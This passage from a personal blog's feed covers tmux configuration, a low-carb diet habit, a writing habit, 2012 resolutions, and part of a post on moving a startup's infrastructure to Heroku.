you can run two terminals side by side, one window with code, and another with
a shell for testing your code on the command line. This can be a great help in
many situations.&lt;/p>
&lt;p>When I first made the jump from using my OS terminal program to using GNU
screen a few years ago, my productivity shot up enormously, as I was able to
quickly move around through terminals like I never could before. I instantly
started writing code faster, finding problems quicker, and spending much less
time creating and moving terminal windows around on my desktop.&lt;/p>
&lt;h2 id="tmux---a-cool-terminal-multiplexer">tmux - A Cool Terminal Multiplexer&lt;/h2>
&lt;p>While I was using GNU screen for a few years, I always had some issues with it
that didn&amp;rsquo;t sit well with me. For one, while I had my GNU screen software
highly configured, I was still unable to perform some seemingly basic tasks
like create horizontally split windows. This meant that I could only open
columns of terminals, restricting the usefulness of my terminal.&lt;/p>
&lt;p>Furthermore, GNU screen had a lot of complex key bindings that tended to make
it difficult for me to get used to. I remember spending quite a bit of time
when first learning GNU screen just memorizing the basics.&lt;/p>
&lt;p>One frustrating day while I was struggling to adjust some screen key bindings,
I decided to look for alternatives. After a bit of research I stumbled upon
tmux. What a great day that was.&lt;/p>
&lt;p>tmux, just like screen, is a terminal multiplexer. What&amp;rsquo;s great about tmux is:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s a lot simpler than GNU screen. It has sane defaults configured, and
requires much less configuration to be useful.&lt;/li>
&lt;li>It supports both vertical AND horizontally split windows.&lt;/li>
&lt;li>It has a really awesome key binding that allows you to magically rearrange
your terminal windows in a variety of patterns. This is extremely useful
for situations where you open multiple windows, and then want them to be
moved to a decent looking pattern, but don&amp;rsquo;t want to configure each window
manually.&lt;/li>
&lt;li>It has great documentation.&lt;/li>
&lt;/ul>
&lt;h2 id="tmux-in-action">tmux in Action&lt;/h2>
&lt;p>A picture is worth a thousand words. I won&amp;rsquo;t bore you any further, here are
some screenies of tmux in action.&lt;/p>
&lt;p>This first picture is just a simple display of tmux with multiple windows open
(note the window names at the bottom):&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/tools-i-use-tmux/tmux-multiple-windows.png" alt="tmux Multiple Windows" title="tmux Multiple Windows">
&lt;/p>
&lt;p>Next, we have a single tmux window open, broken into three panes: one is
vertically split, while the other is horizontally split. As you can see, this
makes coding quite convenient since I can code, look at tests, and browse
documentation all in the same window:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/tools-i-use-tmux/tmux-multiple-panes.png" alt="tmux Multiple Panes" title="tmux Multiple Panes">
&lt;/p>
&lt;p>Here I just hit a single key, and had tmux automatically re-arrange my panes a
few times in a row. Nice, huh?&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/tools-i-use-tmux/tmux-gallery-1.png" alt="tmux Gallery 1" title="tmux Gallery 1">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/tools-i-use-tmux/tmux-gallery-2.png" alt="tmux Gallery 2" title="tmux Gallery 2">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/tools-i-use-tmux/tmux-gallery-3.png" alt="tmux Gallery 3" title="tmux Gallery 3">
&lt;/p>
&lt;h2 id="tmux---configuration">tmux - Configuration&lt;/h2>
&lt;p>One of the great things about tmux is that it requires almost no configuration
to be useful. Unlike GNU screen which requires quite a bit of tweaking (in my
opinion) to be useful, tmux has sane defaults out of the box.&lt;/p>
&lt;p>Below is my &lt;code>~/.tmux.conf&lt;/code> file. As you can see, it&amp;rsquo;s very simple:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">set -g prefix C-a
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">unbind %
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">bind \ split-window -h
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">bind - split-window -v
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">bind-key k select-pane -U
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">bind-key j select-pane -D
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">bind-key h select-pane -L
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">bind-key l select-pane -R
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The changes I made are simply to remap keys for my own preferences. Here&amp;rsquo;s
what my changes do:&lt;/p>
&lt;ul>
&lt;li>Set the tmux command key to &lt;code>CTRL+a&lt;/code> (just like GNU screen). That means
all tmux commands are prefixed with &lt;code>C-a&lt;/code>.&lt;/li>
&lt;li>To create vertical split windows, I setup key mappings for &lt;code>C-a |&lt;/code>. To me,
since the pipe key (&lt;code>|&lt;/code>) looks like a vertical split, it makes sense to
have that key open a new split window.&lt;/li>
&lt;li>Likewise, I also bound the horizontal split key to &lt;code>C-a -&lt;/code> (the dash key),
since the dash key looks like a horizontal split.&lt;/li>
&lt;li>The last few changes make moving between split windows easy. To navigate
through windows, I assigned vim-like keybindings. e.g.
&lt;ul>
&lt;li>&lt;code>C-a h&lt;/code> will move you one window to the left.&lt;/li>
&lt;li>&lt;code>C-a j&lt;/code> will move you one window down.&lt;/li>
&lt;li>&lt;code>C-a k&lt;/code> will move you one window up.&lt;/li>
&lt;li>&lt;code>C-a l&lt;/code> will move you one window right.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>As you can see, I had to make very few changes to tmux in order for it to be
useful to me.&lt;/p>
&lt;h2 id="tmux---resources">tmux - Resources&lt;/h2>
&lt;p>If you&amp;rsquo;d like to give tmux a try, here are some resources to get you going.
tmux has become one of my favorite and most used tools since I started using it
earlier last year. I&amp;rsquo;d highly recommend it to anyone who does a lot of
terminal work.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://tmux.sourceforge.net/" title="tmux">The main tmux website.&lt;/a>&lt;/li>
&lt;li>&lt;code>man tmux&lt;/code> has great information and is highly readable.&lt;/li>
&lt;li>&lt;a href="http://robots.thoughtbot.com/post/2641409235/a-tmux-crash-course" title="tmux Crash Course">tmux crash course&lt;/a>, a really great introduction to using tmux.&lt;/li>
&lt;li>&lt;a href="http://blog.hawkhost.com/2010/06/28/tmux-the-terminal-multiplexer/" title="tmux Series">tmux series&lt;/a>, a series of blog posts explaining tmux in depth. A great
read.&lt;/li>
&lt;/ul></description></item><item><title>New Habit - 100 Carbs</title><link>https://rdegges.com/2012/new-habit-100-carbs/</link><pubDate>Tue, 03 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/new-habit-100-carbs/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/new-habit-100-carbs/meat-sketch.png" alt="Meat Sketch" title="Meat Sketch">
&lt;/p>
&lt;p>Since finishing my &lt;a href="https://rdegges.com/2012/writing-habit-complete/" title="Writing Habit Complete">writing habit&lt;/a>, I decided to kick off the new year with a
health related habit.&lt;/p>
&lt;p>Over the past year or so, I&amp;rsquo;ve been making gradual changes to my diet and
exercise regimen, with the intention of losing weight, getting healthier, and
getting smarter. There&amp;rsquo;s a lot of evidence that suggests having a fit body
also leads to having a fit mind, and that is what originally enticed me to give
the whole fitness thing a shot.&lt;/p>
&lt;p>When I first started dieting / exercising, I had no clue what I was doing. No
clue whatsoever. I thought eating meat was bad for you and fat content in food
was directly correlated to waist size. How wrong I was!&lt;/p>
&lt;p>After several months of eating nothing but vegetables and breads, running till
I couldn&amp;rsquo;t breathe, and struggling for every pound of weight lost, I began to
actually research the whole process. I started reading numerous books on
health, which foods are good for you, which foods are bad for you, etc.&amp;ndash;
eventually discovering the &lt;a href="http://en.wikipedia.org/wiki/Ketogenic_diet" title="Ketogenic Diet Wiki">ketogenic diet&lt;/a>.&lt;/p>
&lt;p>A keto diet is essentially a high protein, high fat, and low carb diet.
Without going into all the details, a keto diet restricts carb intake because
consuming carbs increases the amount of insulin in your bloodstream. When your
insulin level is high, your body stores fat. When your insulin level is low,
you body doesn&amp;rsquo;t.&lt;/p>
&lt;p>During the three months that I maintained a strict keto diet, I lost nearly 40
lbs, and reached my lowest weight since the start of university in 2006. It
felt great.&lt;/p>
&lt;p>Then I started getting busy. I gained some of the weight back, and gradually
let my exercise regimen slip out of control.&lt;/p>
&lt;p>So starting today, I&amp;rsquo;m working my way back to where I was, to finish this thing
the way I started&amp;ndash;a success. The new habit I&amp;rsquo;m attempting to build is simple:
&lt;strong>eat less than 100 carbs per day&lt;/strong>.&lt;/p>
&lt;p>I&amp;rsquo;d eventually like to cut my daily carb intake down to around 30 carbs and
completely eliminate all sugar intake (sugar is bad for you), but I figure that
to start, 100 carbs should be fine. Since I haven&amp;rsquo;t been in hard-core dieting
mode a for a while, 100 carbs is enough to make it not so difficult, while
still being a challenge.&lt;/p>
&lt;p>These habits are meant to last forever, after all, so I&amp;rsquo;m in no rush. I&amp;rsquo;ll
start with 100 carbs now, and then possibly jump down to 75, 50, and eventually
30, depending on how successful I am along the way.&lt;/p>
&lt;p>Reflecting back on why I think I failed to maintain my diet / exercise regiment
earlier last year&amp;ndash;I think the primary reason was that I jumped into things too
headstrong. I have always been a perfectionist by nature, and when I decide to
do things, I typically dive in all the way. While this mentality has served me
well in numerous circumstances, it has also backfired more times than I care to
mention here.&lt;/p>
&lt;p>When I eventually started to slip off my diet months ago, instead of simply
getting back into the groove after a cheat day, and treating my diet as a habit
(and thus, a lifestyle change), I instead ended up feeling angry with myself
for messing up, and gradually drawing out the problem instead of fixing it.&lt;/p>
&lt;p>Since I dove into it so headstrong before, when I did mess up, I was extremely
upset with myself, and had a really hard time continuing. This time, to remedy
that possibility, I&amp;rsquo;m going to be taking things a bit slower, and building
sustainable changes that will (with discipline) last a lifetime.&lt;/p>
&lt;p>If you&amp;rsquo;d like to learn more about ketogenic diets, here are some good resources:&lt;/p>
&lt;ul>
&lt;li>The &lt;a href="http://www.reddit.com/r/keto" title="Keto Reddit">keto subreddit&lt;/a>.&lt;/li>
&lt;li>&lt;a href="http://www.dietdoctor.com/lchf" title="A Doctor's Guide to Ketosis.">A doctor&amp;rsquo;s guide to ketosis&lt;/a>.&lt;/li>
&lt;li>The &lt;a href="http://lowcarbplate.com/tlcm/" title="Something Awful Keto Guide">Something Awful Keto Guide&lt;/a>.&lt;/li>
&lt;li>The &lt;a href="http://www.bodybuilding.com/fun/keto.htm" title="Bodybuilding + Ketosis">bodybuilding.com guide to ketosis&lt;/a>.&lt;/li>
&lt;li>My personal favorite, &lt;a href="http://forum.bodybuilding.com/showthread.php?t=132598293" title="A Guide to Ketosis">A Guide to Ketosis&lt;/a>.&lt;/li>
&lt;/ul></description></item><item><title>Writing Habit -- Complete</title><link>https://rdegges.com/2012/writing-habit-complete/</link><pubDate>Mon, 02 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/writing-habit-complete/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/writing-habit-complete/scroll-sketch.png" alt="Scroll Sketch" title="Scroll Sketch">
&lt;/p>
&lt;p>Two days ago I successfully completed establishing my &lt;a href="https://rdegges.com/2011/establishing-a-writing-habit/" title="Establishing a Writing Habit">writing habit&lt;/a>. It
took me exactly 21 days to build (I didn&amp;rsquo;t mess up at all)! My habit was to
write for at least 30 minutes per day.&lt;/p>
&lt;p>When I wrote about what I&amp;rsquo;d &lt;a href="https://rdegges.com/2011/what-ive-learned-about-writing-so-far/" title="What I've Learned About Writing (So Far)">learned&lt;/a> at the half-way point, nearly two weeks
ago&amp;ndash;I think I was on the right track. The largest impact my daily writing
habit has had on me has been mental. Instead of viewing writing as something
challenging, it has become something enjoyable and relaxing for me. Over the
past few weeks I&amp;rsquo;ve drastically changed the way I feel about writing.&lt;/p>
&lt;p>It feels good.&lt;/p>
&lt;p>Will I continue to maintain this habit in the long term? &lt;strong>Yes.&lt;/strong> So far I&amp;rsquo;ve
written 7 blog articles, and a number of private journal entries that I&amp;rsquo;ve been
quite proud of. Whenever I write, I tend to learn a lot of new things about
whatever subject I&amp;rsquo;m writing about. Furthermore, and quite possibly most
important, writing helps me clarify my thoughts in ways that talking and
reading cannot.&lt;/p>
&lt;p>There&amp;rsquo;s something special about writing words, stringing them into sentences,
and then shifting those sentences around to construct arguments and ideas that
is completely magical. Like I explained in a previous post about writing&amp;ndash;it
makes me feel like an inventor. While writing I feel like I&amp;rsquo;m Leonardo
DaVinci, obsessively writing away by candlelight in a workshop long after
everyone else is asleep. Only writing gives me that magical feeling.&lt;/p>
&lt;p>Since I&amp;rsquo;ve recently finished building the habit, below are some tips you may
(or may not) find useful if you too are considering developing a writing habit.&lt;/p>
&lt;p>First of all&amp;ndash;try to find (early on) a good time for writing in your day. My
days are typically chaotic, as my wife&amp;rsquo;s work schedule changes from day-to-day,
and depending on the situation at my work I may be busy in either morning,
noon, or night. I found that for me, I tend to be in the &lt;em>writing mood&lt;/em> most
at night time, when things are quiet and I know that I&amp;rsquo;m no longer needed for
any other activities by friends, family, or work. Having a good time each day
you can set aside to write may mean the difference between successfully
building your writing habit, or failing.&lt;/p>
&lt;p>Take caffeine before writing. Seriously. I&amp;rsquo;ve mentioned before that I&amp;rsquo;m a
&lt;a href="https://rdegges.com/2011/my-use-and-abuse-of-caffeine/" title="My Use and Abuse of Caffeine">caffeine junkie&lt;/a>. While I&amp;rsquo;m not particularly proud of my addiction, I&amp;rsquo;ve
found that caffeine makes a world of difference in my writing. It helps me
focus, and more importantly, makes me a lot more creative. Several times over
the past few weeks I wrote in an un-caffeinated state, and during those times I
seemed to mope along &lt;em>at best&lt;/em>, accomplishing very little. I&amp;rsquo;ve found that
while under the influence of caffeine I&amp;rsquo;m a lot more thoughtful, creative, and
successful with my writing.&lt;/p>
&lt;p>Don&amp;rsquo;t restrict yourself to a single topic or genre. Before I started working
on building this writing habit, I briefly considered wording it in a way that
would restrict me to a particular type of writing (e.g. writing a journal for
30 minutes each day, or something to that effect). I&amp;rsquo;m glad I didn&amp;rsquo;t. What I
realized is that some days I&amp;rsquo;m in the mood to write a private journal, while
some days I&amp;rsquo;d much rather be working on a technical post, or even ranting about
random things. I think that giving yourself the freedom to write whatever you
want, so long as you write something, can be a great motivator and really help
push you through the days where you just don&amp;rsquo;t think you can do it.&lt;/p>
&lt;p>Hopefully my experiences have been useful and/or entertaining to you. If
there&amp;rsquo;s anything you&amp;rsquo;d like to know, or if you have any questions&amp;ndash;feel free to
&lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">send me an email&lt;/a>.&lt;/p></description></item><item><title>What I'm Doing in 2012</title><link>https://rdegges.com/2012/what-im-doing-in-2012/</link><pubDate>Sun, 01 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/what-im-doing-in-2012/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/what-im-doing-in-2012/dentist-wolf-meme.png" alt="Dentist Wolf Meme" title="Dentist Wolf Meme">
&lt;/p>
&lt;p>I&amp;rsquo;m really glad the new year is here. For the longest time I thought new
year&amp;rsquo;s resolutions were a bit silly, and I never participated in them. The
past few years, however, I&amp;rsquo;ve completely changed my opinion. Maybe I&amp;rsquo;m getting
older, but the thought of starting a new year makes me feel happy and
optimistic about things to come. &lt;em>A clean slate!&lt;/em> Let&amp;rsquo;s do this!&lt;/p>
&lt;p>Last year I focused on accomplishing goals. I wanted to visit San Francisco,
Santa Barbara, and a slew of other things. Some of my goals were specific
enough that I accomplished them, while some were way too vague and didn&amp;rsquo;t
materialize.&lt;/p>
&lt;p>This year is going to be all about habits for me. Instead of focusing on doing
specific things, I&amp;rsquo;m going to be focusing on building habits into my daily
routine. Over the past year I&amp;rsquo;ve come to really appreciate habit building.
Instead of focusing on the outcome (e.g. your goals), you focus on the process.&lt;/p>
&lt;p>I&amp;rsquo;ve found that building habits is my personal niche. It makes me feel
productive, while keeping me relaxed. When I&amp;rsquo;m working on building habits I&amp;rsquo;m
not constantly stressed about results, or burdened with the possibility of
failure&amp;ndash;instead, I just feel relaxed, confident, and happy. What makes this
work for me is that while building habits I simply tell myself &amp;ldquo;Randall, just
write for 30 minutes a day. If you can do that everyday, you&amp;rsquo;ll become a
better writer in no time. Don&amp;rsquo;t worry about writing X amount of blog posts per
week, or exercising X amount of minutes each day&amp;ndash;just have fun with it, and
make the most of each day.&amp;rdquo;&lt;/p>
&lt;p>Currently I&amp;rsquo;m using &lt;a href="http://habitforge.com/" title="HabitForge">HabitForge&lt;/a> to track my habits. I&amp;rsquo;ve been using them
for just about a year now, with great success. The way HabitForge works is you
tell them what habit you want to build, and each day they email you (for 21
days in a row), asking if you did your habit (yes or no). Once you complete
your habit 21 days in a row, HabitForge considers your habit &amp;ldquo;done&amp;rdquo;, by which
time you should be so used to performing your habit day after day, that it is
second nature. If you fail to complete your habit any day during the 21 day
entry period, your cycle resets to day 1, and you have to complete another 21
days of your habit in a row.&lt;/p>
&lt;p>What I like about the HabitForge system is that it works for me. It works
really well. I find that once I start working on developing a habit, I don&amp;rsquo;t
want that 21-day counter to reset, so I try really hard to make sure I do my
habit each day. After trying really hard for 15 days or so, it becomes much
easier to do. For me, I just sort of do them on autopilot after that point.&lt;/p>
&lt;p>Just yesterday I finished establishing my &lt;a href="https://rdegges.com/2011/establishing-a-writing-habit/" title="Establishing a Writing Habit">writing habit&lt;/a>. It was a great
success. Since I started, I&amp;rsquo;ve written for at least 30 minutes every day.
This has made a big impact on me already. I feel much more confident in my
writing, and I&amp;rsquo;m enjoying the process of writing much more than before. If I
continue on this path, by January 1st, 2013 I&amp;rsquo;ll have written for at least
182.5 hours. That&amp;rsquo;s a lot!&lt;/p>
&lt;p>Another thing I&amp;rsquo;ve come to thoroughly enjoy about building habits is that they
don&amp;rsquo;t let you fool yourself into achieving false goals. For instance, if I say
I want to lose 30lbs&amp;ndash;I could easily lose 30lbs by running everyday, eating a
very low amount of calories, and generally pushing myself to lose the weight
quickly; all for the sake of reaching my goal.&lt;/p>
&lt;p>What if, instead of saying &amp;ldquo;I want to lose X lbs&amp;rdquo;, I say &amp;ldquo;I want to eat only
animal meats and vegetables&amp;rdquo;? If that were the case, I&amp;rsquo;d be building a healthy
habit while losing weight as a side-effect; focusing more on the lifestyle
change than the outcome.&lt;/p>
&lt;p>With all that said, here are a few of the habits I&amp;rsquo;ve got in mind for this
year. These are subject to change, but I plan on writing posts here on my blog
detailing each habit I build through the year.&lt;/p>
&lt;ul>
&lt;li>Spend at least 30 minutes per day working on open source code.&lt;/li>
&lt;li>Spend at least one hour per day reading.&lt;/li>
&lt;li>Exercise for 30 minutes per day (take a walk, do CrossFit, ride a
bike&amp;ndash;something).&lt;/li>
&lt;li>Eat less than 30 carbs per day. This is a tricky one to maintain long
term, but I&amp;rsquo;ve read quite a lot about it the past year (and done it for 3
months in a row), to great success.&lt;/li>
&lt;li>Work on a business project of my own for at least 30 minutes per day.&lt;/li>
&lt;li>Tidy up my apartment for 15 minutes per day.&lt;/li>
&lt;/ul>
&lt;p>There are also other habits I&amp;rsquo;d like to build for the long term. Stuff like
going on dates with my wife a certain amount of times per month, reviewing my
personal and professional progress every month, etc. Certain things like that
are easily overlooked as time passes, but are things that I&amp;rsquo;d like to ensure I
do so that I can make necessary adjustments to myself when necessary.&lt;/p>
&lt;p>Other than the above, in more general terms, there are a lot of other things
I&amp;rsquo;d like to do this year.&lt;/p>
&lt;p>Over the past year I got a lot better at programming Python and Django, and
this year I intend to break out of the intermediate level and enter the expert
level. It&amp;rsquo;s very hard for me to gauge my progress in this area as it is
entirely subjective, and the field of programming itself contains limitless
information that is impossible for any one person to learn. To combat this, I
plan to continue building software using these technologies, learning new
techniques, and tools as I go.&lt;/p>
&lt;p>Another thing I&amp;rsquo;d like to do this year is slowly improve my text editing skills
with Vim. While I&amp;rsquo;ve been using Vim for a long time, I still consider myself a
beginner. After watching people like &lt;a href="https://www.destroyallsoftware.com/" title="Gary Bernhardt">Gary Bernhardt&lt;/a> use Vim, not only do I
feel like a complete n00b, but I&amp;rsquo;m also intensely driven to become better. My
initial plan for tackling my Vim demons is to watch through every single
episode of &lt;a href="http://vimcasts.org/" title="vimcasts">vimcasts&lt;/a>. Since it&amp;rsquo;s hard to remember the Vim shortcuts right
away, I&amp;rsquo;d like to watch an episode once a week, and specifically practice the
video topic that week to commit the topic to memory.&lt;/p>
&lt;p>I&amp;rsquo;d also like to write a book this year. I started working on a book, Learn
Asterisk the Fun Way, earlier last year&amp;ndash;but haven&amp;rsquo;t made nearly as much
progress as I would have liked. This year I&amp;rsquo;d like to really commit to the
project, and see it through to completion. Publishing a book has always been a
dream of mine, and something that would make me really proud of myself.&lt;/p>
&lt;p>Here&amp;rsquo;s to a having a great, happy, relaxed, and interesting 2012.&lt;/p></description></item><item><title>DevOps Django - Part 4 - Choosing Heroku</title><link>https://rdegges.com/2011/devops-django-part-4-choosing-heroku/</link><pubDate>Fri, 30 Dec 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/devops-django-part-4-choosing-heroku/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/devops-django-part-4-choosing-heroku/troll-sketch.png" alt="Troll Sketch" title="Troll Sketch">
&lt;/p>
&lt;p>This is the fourth article in a series I&amp;rsquo;m writing titled &lt;em>DevOps Django&lt;/em>. If
you&amp;rsquo;re new, you may want to read the &lt;a href="https://rdegges.com/2011/devops-django-part-1-goals/" title="DevOps Django - Part 1 - Goals">first part&lt;/a> of the series before this
one.  In this article I&amp;rsquo;ll be continuing where I left off in the
&lt;a href="https://rdegges.com/2011/devops-django-part-3-the-heroku-way/" title="DevOps Django - Part 3 - The Heroku Way">previous article&lt;/a>: explaining why I chose to move my company&amp;rsquo;s
teleconferencing service from &lt;a href="http://www.rackspacecloud.com/3149.html" title="Rackspace">Rackspace&lt;/a> to &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a>.&lt;/p>
&lt;p>Making the decision to move my company&amp;rsquo;s infrastructure from Rackspace to
Heroku was no easy task. As I&amp;rsquo;m sure you all know&amp;ndash;moving infrastructure
components is an enormous risk, even in the best of circumstances. However,
despite the immense risk involved, a change was needed.&lt;/p>
&lt;h2 id="time">Time&lt;/h2>
&lt;p>As I mentioned earlier in this series, I work for a tech startup. With a small
team of people, you don&amp;rsquo;t have much time to mess around. Our greatest expense
as a company is engineering time. Our company&amp;rsquo;s revenue is directly correlated
to our productivity. The more bugs we fix, features we deliver, and users we
make happy&amp;ndash;the more money we make.&lt;/p>
&lt;p>Even though we were using the best devops tools available (puppet, nagios,
etc.), we were spending almost all of our engineering time building and
maintaining our infrastructure. For me, this meant a typical day ended up
looking something like the following:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>85%&lt;/strong> of my time spent writing or updating puppet modules to fix (or add)
required functionality to our infrastructure.&lt;/li>
&lt;li>&lt;strong>10%&lt;/strong> of my time spent planning tasks, adding bugs to the tracker,
updating the TODO list.&lt;/li>
&lt;li>&lt;strong>5%&lt;/strong> of my time doing actual development.&lt;/li>
&lt;/ul>
&lt;p>Regardless of the fact that I enjoy writing puppet modules and building a
large, scalable infrastructure&amp;ndash;it is disheartening to spend an entire month
working extremely hard, building awesome back end tools, only to have nothing
to show your users for your hard work. While I&amp;rsquo;m &lt;em>extremely&lt;/em> happy and
grateful to have learned so much about deploying robust services, a change was
necessary.&lt;/p>
&lt;p>When I sat down and calculated what a typical workday would look like for me if
we moved to Heroku, I immediately knew we needed to make the switch, regardless
of the risk. Based on my time estimates, a typical day for me (after moving
all our infrastructure to Heroku) would look something like:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>10%&lt;/strong> of time planning tasks, working on TODO items, etc.&lt;/li>
&lt;li>&lt;strong>90%&lt;/strong> of time hacking on our company projects.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>That is a drastic change.&lt;/strong>&lt;/p>
&lt;p>Going from &lt;strong>5%&lt;/strong> to &lt;strong>90%&lt;/strong> of available hacking time per day?  &lt;em>I&amp;rsquo;ll take
it!&lt;/em>&lt;/p>
&lt;p>There&amp;rsquo;s nothing I love more than writing code (excluding my wife and dog).
Building infrastructure tools is fun and all, but in comparison to building new
libraries and features? No comparison.&lt;/p>
&lt;p>With the ridiculous amount of time Heroku would save each day, my company would
be able to ship insane amounts of code. When I discussed this with
&lt;a href="http://www.chrisbrunner.com/" title="Chris Brunner">my boss&lt;/a>, the decision seemed clear: use Heroku.&lt;/p>
&lt;h2 id="price">Price&lt;/h2>
&lt;p>After calculating the manpower time Heroku would save, the next thing I wanted
to calculate was the price. Exactly how much will it cost us to move to
Heroku?&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I received a lot of price related questions when I published the
&lt;a href="https://rdegges.com/2011/devops-django-part-3-the-heroku-way/" title="DevOps Django - Part 3 - The Heroku Way">last installment&lt;/a> of this series. A lot of people emailed
me saying that they&amp;rsquo;d love to use Heroku, but after looking at their prices,
decided to stick with AWS or Rackspace. Hopefully this information clears up
any misconceptions.&lt;/p>
&lt;p>To start, I&amp;rsquo;d like to take a moment to explain Heroku&amp;rsquo;s overall pricing scheme.
Understanding how Heroku bills will probably answer a lot of questions.&lt;/p>
&lt;p>Heroku&amp;rsquo;s core service is a &lt;a href="https://devcenter.heroku.com/articles/dynos" title="Heroku Dyno Documentation">dyno&lt;/a>.  A dyno is essentially a long running
program that:&lt;/p>
&lt;ul>
&lt;li>Uses up to 512M of RAM (and can burst up to 1.5G if you don&amp;rsquo;t mind swap).&lt;/li>
&lt;li>Shares CPU with other dynos on the system.&lt;/li>
&lt;li>Can scale horizontally as much as necessary.&lt;/li>
&lt;/ul>
&lt;p>For each application you have on Heroku, you get 1 free dyno per month. If you
just want to run a small website, you can do it completely free of charge. For
each additional dyno you run, Heroku charges 35$ per month (5 cents per hour,
at the time of writing).&lt;/p>
&lt;p>Based on Heroku&amp;rsquo;s simple pricing rules, you can easily gauge how much running
your application will cost. What&amp;rsquo;s nice about Heroku&amp;rsquo;s billing is that, like
AWS (which Heroku is built on top of), you pay only for your usage (per hour).
This allows you to instantly scale up (and down) your dynos based on traffic.
If you get a lot of hits every Friday night, you can spin up a few extra dynos
to handle the load, then remove them Saturday morning, only spending a few
dollars in the process.&lt;/p>
&lt;p>In regards to Heroku&amp;rsquo;s database pricing, here&amp;rsquo;s what you need to know: every
application you create can use a free shared &lt;a href="https://devcenter.heroku.com/articles/heroku-postgresql" title="Heroku PostgreSQL Docs">PostgreSQL database&lt;/a>. The
free database you get allows you store &lt;strong>as much data as you want&lt;/strong>. The
catch? The free database only provides 5M of RAM for your data. That means
queries will be slow; however&amp;ndash;for a majority of sites, a shared database will
suffice. What&amp;rsquo;s great about the shared database is that, like their paid
counterparts, Heroku manages it for you. That means no data loss, full access
to your backups, etc.&lt;/p>
&lt;p>Heroku&amp;rsquo;s dedicated databases are much more robust than their free counterparts.
In terms of pricing, their cost goes up based on the amount of allowed
connections, RAM, and CPU units. Currently, the cheapest dedicated database
plan costs 200$ per month, allows 16 concurrent connections, has 1.7G of RAM,
and 1 CPU unit.&lt;/p>
&lt;p>What&amp;rsquo;s nice about the dedicated database plans (and what justifies their price,
in my opinion), is that:&lt;/p>
&lt;ul>
&lt;li>You get direct &lt;a href="http://www.postgresql.org/docs/9.2/static/app-psql.html" title="psql">psql&lt;/a> access.&lt;/li>
&lt;li>They run PostgreSQL 9.2 (instead of 8.3).&lt;/li>
&lt;li>&lt;strong>You can instantly create read slaves, and duplicate masters (for staging,
testing, etc.).&lt;/strong>&lt;/li>
&lt;li>You are billed by the hour (just like dynos).&lt;/li>
&lt;li>They are fully managed (you&amp;rsquo;ll never lose data, or have to worry about
downtime).&lt;/li>
&lt;/ul>
&lt;p>If you take into account what you get for those database prices, you&amp;rsquo;ll see
that you&amp;rsquo;re getting an insanely good deal. My favorite feature is Heroku&amp;rsquo;s
concept of forking and following.&lt;/p>
&lt;p>Let&amp;rsquo;s say you have a single paid database (with the name
&lt;code>HEROKU_POSTGRESQL_GREEN&lt;/code>), and you want to create a read slave. Heroku allows
you to &lt;em>follow&lt;/em> your existing database (&lt;code>HEROKU_POSTGRESQL_GREEN&lt;/code>), and in
doing so, automatically provisions your new database as a read slave. For
instance, to provision a new read slave in the scenario I just described, I
could simply run:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> heroku addons:add heroku-postgresql:ronin --follow HEROKU_POSTGRESQL_GREEN
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I&amp;rsquo;d have a new read slave up and running in a short period of time.&lt;/p>
&lt;p>Similarly to Heroku&amp;rsquo;s &lt;code>follow&lt;/code> feature is &lt;code>fork&lt;/code>. Forking a database gives you
a new database with a snapshot of your existing database&amp;rsquo;s data. It won&amp;rsquo;t stay
up-to-date with changes (aka: become a read slave). This is useful for
creating staging environments with real production data in them, testing schema
changes, etc.&lt;/p>
&lt;p>Given the amount of work it takes to create new read slaves and databases by
hand (or using tools like puppet and chef), Heroku&amp;rsquo;s method is infinitely
simpler, and more graceful. Furthermore, in my experience, the process is very
fast. When I&amp;rsquo;ve provisioned read slaves for my applications, they only take as
long to finish building as the amount of data needed to copy over to them.&lt;/p>
&lt;p>&lt;strong>OK, let&amp;rsquo;s talk about add-ons.&lt;/strong>&lt;/p>
&lt;p>Heroku&amp;rsquo;s add-ons are&amp;hellip; Well&amp;hellip; Perfect. All the add-ons I use in
production: &lt;a href="https://addons.heroku.com/memcache" title="Heroku Memcached Addon">memcached&lt;/a>, &lt;a href="https://addons.heroku.com/newrelic" title="Heroku NewRelic Addon">NewRelic&lt;/a> (this particular add-on is so amazing
